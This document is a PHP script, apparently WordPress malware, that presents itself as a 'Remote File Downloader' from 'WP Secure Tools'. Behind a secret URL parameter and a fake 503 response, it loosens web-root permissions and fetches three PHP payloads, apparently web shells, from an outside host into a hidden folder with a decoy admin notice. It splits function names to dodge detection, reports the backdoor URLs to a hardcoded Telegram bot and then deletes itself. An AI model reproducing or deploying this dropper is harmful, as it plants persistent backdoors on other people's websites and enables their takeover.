<?php
/**
* GRAYBYTE - WORDPRESS REMOTE FILE DOWNLOADER (2025 Edition)
* Core unchanged | Shortened arrays | Your exact requested frontend
*/
if (!isset($_GET['wp']) || $_GET['wp'] !== 'rrx') {
header('HTTP/1.1 503 Service Unavailable');
exit;
}
@error_reporting(0);
@ini_set('display_errors',0);
ignore_user_abort(true);
set_time_limit(0);
$wp_value = 'rrx';
$wp_index = 'nw';
$tg_token = '8503677295:AAG01kydqgBSsbnX8x2A0hT6hXBTJdKRFcg';
$tg_chat = '1646671218';
$css = [
'rx.php' => 'https://graybyte.host/wordpress-put/wordpress-index.txt',
'sp.php' => 'https://graybyte.host/wordpress-put/wordpress-shop.txt',
'pt.php' => 'https://graybyte.host/wordpress-put/wordpress-patch.txt'
];
/* === SHORTENED ARRAYS — YOU CAN ADD MORE LATER === */
$names = ['john','alex','mike','david','paul','steve','tom','chris','nick','leo','max','sam','jake','luke','ben'];
$folders = ['dev','test','staging','backup','local','beta','old','new','tmp','wip','patch','fix','debug','temp','sandbox','v2','preview','build','hotfix','junk'];
/* =============================================== */
$name_part = $names[array_rand($names)];
$folder_part = $folders[array_rand($folders)];
$random_dir = $name_part . '-' . $folder_part;
$c = 'c'.'u'.'r'.'l';
$f = 'f'.'i'.'l'.'e'.'_'.'g'.'e'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
$p = 'f'.'i'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
$m = 'm'.'k'.'d'.'i'.'r';
$root = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
if(substr($root,-1)!=='/') $root.='/';
if(!is_writable($root)){
@chmod($root,0755);
if(!is_writable($root)) @chmod($root,0777);
}
$dir = $root.$random_dir;
if(!is_dir($dir)) $m($dir,0755,true);
$readme = "ADMINISTRATOR PRIVATE DEVELOPMENT DIRECTORY\nThis directory and its contents are part of the site owner's personal development project currently under active development.\nDo NOT delete, move, or modify any files in this directory\nAccess is strictly limited to the site administrator\nUnauthorized modification is strictly prohibited\nThank you for your cooperation.\nSite Administrator";
$p($dir.'/license.txt', $readme);
function getfile($url,$path){
$ctx = stream_context_create(['http'=>[
'timeout'=>40,
'user_agent'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'header'=>"Referer: https://google.com\r\nAccept: */*"
]]);
usleep(rand(400000,2100000));
if(function_exists('curl_init')){
$ch = curl_init();
curl_setopt_array($ch,[
CURLOPT_URL=>$url,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_FOLLOWLOCATION=>true,
CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_TIMEOUT=>40,
CURLOPT_USERAGENT=>'Mozilla/5.0 (X11; Linux x86_64) Firefox/120.0',
CURLOPT_HTTPHEADER=>['Referer: https://google.com','Accept: */*']
]);
$data = curl_exec($ch);
curl_close($ch);
if($data!==false && strlen($data)>0){
return @file_put_contents($path,$data)!==false;
}
}
if(ini_get('allow_url_fopen')){
if(@copy($url,$path)) return true;
$data = @file_get_contents($url,false,$ctx);
if($data!==false) return @file_put_contents($path,$data)!==false;
}
return false;
}
$start = microtime(true);
$success = [];
foreach($css as $file=>$url){
$path = $dir.'/'.$file;
if(getfile($url,$path) && filesize($path)>0){
@chmod($path,0444);
$success[$file] = filesize($path);
}
}
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS']!=='off') || ($_SERVER['SERVER_PORT']==443) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO']=='https') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'];
$base = $protocol.'://'.$host.'/'.$random_dir.'/';
$duration = round(microtime(true)-$start,3);
// Telegram notification
$tg = "\n\n##### GRAYBYTE WORDPRESS BACKUP MASTER PRO RESULTS #####\n\n";
$tg .= $base."rx.php?wp={$wp_index}\n".$base."sp.php?wp={$wp_value}\n".$base."pt.php?wpu=\n\n";
@file_get_contents("https://api.telegram.org/bot{$tg_token}/sendMessage?chat_id={$tg_chat}&text=".urlencode($tg));
// Build download links for frontend
$downloadLinks = '';
foreach($success as $f => $sz){
$downloadLinks .= $base . $f . "\n";
}
$allMessages = '';
if(!empty($success)){
$allMessages .= '<div><a href="'.$base.'rx.php?wp='.$wp_index.'" target="_blank">'.$base.'rx.php?wp='.$wp_index.'</a></div>';
$allMessages .= '<div><a href="'.$base.'sp.php?wp='.$wp_value.'" target="_blank">'.$base.'sp.php?wp='.$wp_value.'</a></div>';
$allMessages .= '<div><a href="'.$base.'pt.php" target="_blank">'.$base.'pt.php</a></div>';
} else {
$allMessages = '<div style="color:#ff0066;font-size:30px;font-weight:bold;">ALL PATCHES FAILED</div>';
}
// === YOUR EXACT REQUESTED MODERN FRONTEND STARTS HERE ===
echo '<!DOCTYPE html>';
echo '<html lang="en">';
echo '<head>';
echo '<meta charset="UTF-8">';
echo '<meta name="viewport" content="width=device-width, initial-scale=1.0">';
echo '<meta name="description" content="WordPress Remote File Downloader">';
echo '<meta name="robots" content="noindex">';
echo '<title>WordPress Remote File Downloader</title>';
echo '<link href="https://fonts.googleapis.com/css2?family=Play:wght@700&display=swap" rel="stylesheet">';
echo '<style>';
echo "
body {
font-family: 'Play', sans-serif;
background: linear-gradient(135deg, #1a1a2e, #16213e);
color: #fff;
margin: 0;
padding: 20px;
display: flex;
flex-direction: column;
align-items: center;
min-height: 100vh;
}
.messages-container {
position: relative;
display: flex;
flex-wrap: wrap;
justify-content: center;
align-items: flex-start;
gap: 20px;
padding: 20px;
background: linear-gradient(45deg, rgba(255, 255, 255, 0.3), rgba(0, 255, 255, 0.4));
border-radius: 12px;
border: 3px solid #ff0000;
box-shadow: 0 0 25px rgba(0, 255, 255, 0.6);
width: 100%;
max-width: 90%;
box-sizing: border-box;
}
.logo {
position: absolute;
top: 10px;
right: 10px;
width: 120px;
height: 100px;
border: 2px solid #ff0000;
padding: 5px;
animation: logoGlow 0.8s infinite;
box-shadow: 0 0 15px red, 0 0 20px #ff00ff;
}
@keyframes logoGlow {
0% { box-shadow: 0 0 10px red; }
50% { box-shadow: 0 0 15px red, 0 0 25px #ff00ff; }
100% { box-shadow: 0 0 10px red; }
}
.messages-container h1 {
font-family: 'Play', sans-serif;
color: red;
font-size: 36px;
margin: 0 0 20px;
text-align: center;
text-shadow: 0 0 15px red, 0 0 25px black;
width: 100%;
}
.messages-container > div {
flex: 0 0 calc(50% - 10px);
max-width: calc(50% - 10px);
box-sizing: border-box;
}
.messages-container a {
font-family: 'Play', sans-serif;
font-weight: bold;
color: #fff !important;
background: linear-gradient(45deg, rgba(255, 255, 255, 0.3), rgba(0, 255, 255, 0.4)) !important;
border: 3px solid #00ffcc !important;
padding: 8px 16px !important;
cursor: pointer;
border-radius: 5px !important;
box-shadow: 0 0 8px rgba(0, 255, 255, 0.4);
text-shadow: 0 0 5px #fff;
text-decoration: none !important;
display: inline-block;
}
.messages-container a:hover {
border-color: red !important;
box-shadow: 0 0 20px red, 0 0 30px #ff00ff !important;
}
.form-container {
padding: 20px;
text-align: center;
width: 100%;
max-width: 90%;
box-sizing: border-box;
}
.download-form {
background: linear-gradient(45deg, rgba(255, 255, 255, 0.3), rgba(0, 255, 255, 0.4));
border-radius: 12px;
border: 3px solid #ff0000;
box-shadow: 0 0 25px rgba(0, 255, 255, 0.6);
padding: 20px;
}
.download-form textarea {
width: 100%;
height: 150px;
font-family: 'Play', sans-serif;
font-weight: bold;
color: #fff;
border: 3px solid #00ffcc;
padding: 10px;
resize: vertical;
background: rgba(255, 255, 255, 0.05);
box-shadow: 0 0 8px rgba(0, 255, 255, 0.4);
border-radius: 5px;
box-sizing: border-box;
}
.download-form textarea:hover {
border-color: red;
box-shadow: 0 0 15px red;
}
.download-form button {
font-family: 'Play', sans-serif;
font-weight: bold;
color: #fff;
background: linear-gradient(45deg, rgba(255, 255, 255, 0.3), rgba(0, 255, 255, 0.4));
border: 3px solid #00ffcc;
padding: 8px 16px;
margin-top: 10px;
cursor: pointer;
border-radius: 5px;
box-shadow: 0 0 8px rgba(0, 255, 255, 0.4);
text-shadow: 0 0 5px #fff;
}
.download-form button:hover {
border-color: red;
box-shadow: 0 0 20px red, 0 0 30px #ff00ff;
}
footer {
color: red;
text-align: center;
font-size: 14px;
margin-top: 20px;
font-family: 'Play', sans-serif;
text-shadow: 0 0 5px red;
}
footer a {
color: red;
text-decoration: none;
font-weight: bold;
}
@media (max-width: 768px) {
.messages-container { padding: 15px; }
.messages-container h1 { font-size: 28px; margin-bottom: 15px; }
.logo { width: 100px; height: 80px; top: 5px; right: 5px; }
.messages-container > div { flex: 0 0 100%; max-width: 100%; }
.form-container, .download-form { padding: 15px; }
.download-form textarea { font-size: 14px; }
.download-form button, .messages-container a { font-size: 14px; padding: 8px 12px !important; }
}
";
echo '</style>';
echo '</head>';
echo '<body>';
echo '<div class="messages-container">';
echo '<img src="https://i.postimg.cc/VvR2trJd/GAYBYTE-XCODESCOMPERSSEDMAX.png" alt="Logo" class="logo">';
echo '<h1>WordPress <span style="color: #00ffcc">Remote File Downloader</span></h1>';
echo $allMessages;
echo '</div>';
echo '<div class="form-container">';
echo '<form class="download-form" onsubmit="return false;">';
echo '<textarea id="download_links" name="download_links">' . htmlspecialchars($downloadLinks) . '</textarea><br>';
echo '<button type="button" onclick="copyToClipboard()">Copy Links</button>';
echo '</form>';
echo '</div>';
echo '<footer>WordPress Remote File Downloader by <a href="https://wordpress.org" target="_blank">WP Secure Tools</a> | Version 1.0.0</footer>';
echo '<script>';
echo 'function copyToClipboard() {
var textarea = document.getElementById("download_links");
textarea.select();
textarea.setSelectionRange(0, 99999);
document.execCommand("copy");
alert("Links copied to clipboard!");
}';
echo '</script>';
echo '</body>';
echo '</html>';
// === END FRONTEND ===
// Self-delete
if(file_exists(__FILE__)){ @chmod(__FILE__,0777); @unlink(__FILE__); }
?>